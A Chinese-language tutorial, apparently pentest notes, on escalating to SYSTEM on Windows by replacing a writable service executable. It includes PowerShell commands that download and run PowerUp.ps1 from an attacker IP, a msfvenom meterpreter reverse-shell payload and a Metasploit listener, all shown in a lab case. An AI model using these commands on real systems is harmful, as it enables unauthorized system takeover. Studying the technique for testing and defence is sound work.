原理
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
利用条件
-
需要一个普通用户
-
某个服务的执行文件路径要用户可控
漏洞利用步骤
-
找到目标服务:
-
假设你发现了一个以
test.exe
命名的Windows服务,这个服务的可执行文件对普通用户(如User
)具有写权限。
-
-
替换可执行文件:
-
将原始的
test.exe
重命名为其他名字(例如test_backup.exe
)。 -
将你的反弹Shell程序重命名为
test.exe
,并将其放置在相同的目录中。
-
-
重启服务或系统:
-
可以通过命令行停止并重启该服务,或者等待系统重启。
-
-
执行恶意代码:
-
当服务启动时,Windows会运行
test.exe
,而这个文件实际上是你的反向Shell。由于服务通常以SYSTEM权限运行,你的反向Shell也将以SYSTEM权限执行,从而实现权限提升。
-
工具
PowerUp.ps1位置
locate PrivescCheck
/usr/share/powershell-empire/empire/server/data/module_source/privesc
使用
列出易受攻击的服务
powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.74.128:8000/PowerUp.ps1'); Invoke-ALLChecks"
脚本的AllChecks模块会检测的通常应用对象如下:
-
没有被引号引起来的服务的路径。
-
服务的可执行文件的权限设置不当
-
Unattend.xml文件
-
注册表键AlwaysInstallElevated
生成可添加管理员用户的恶意可执行文件
powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/PowerUp.ps1');Install-ServiceBinary -ServiceName SERVICE_NAME
默认账密
user: join
passwd: Password123!
案例
运行脚本
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.74.128:8000/PowerUp.ps1');Invoke-ALLChecks"
检查服务可执行文件和参数权限
判断权限
icacls "C:\Windows\tools\test.exe"
发现普通用户有完全控制权限
将test.exe重命名,进行备份
Rename-Item -Path 'C:\Windows\tools\test.exe' -NewName 'C:\Windows\tools\test_bak.exe'
msf生成木马,将其名字改为test.exe并移动到对应目录下
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.74.128 lport=4444 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > test.exe
# MSF框架上传
upload /opt/test.exe C:/Windows/tools
MSF监听
handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 4444
等目标重启,重启之后,完成提权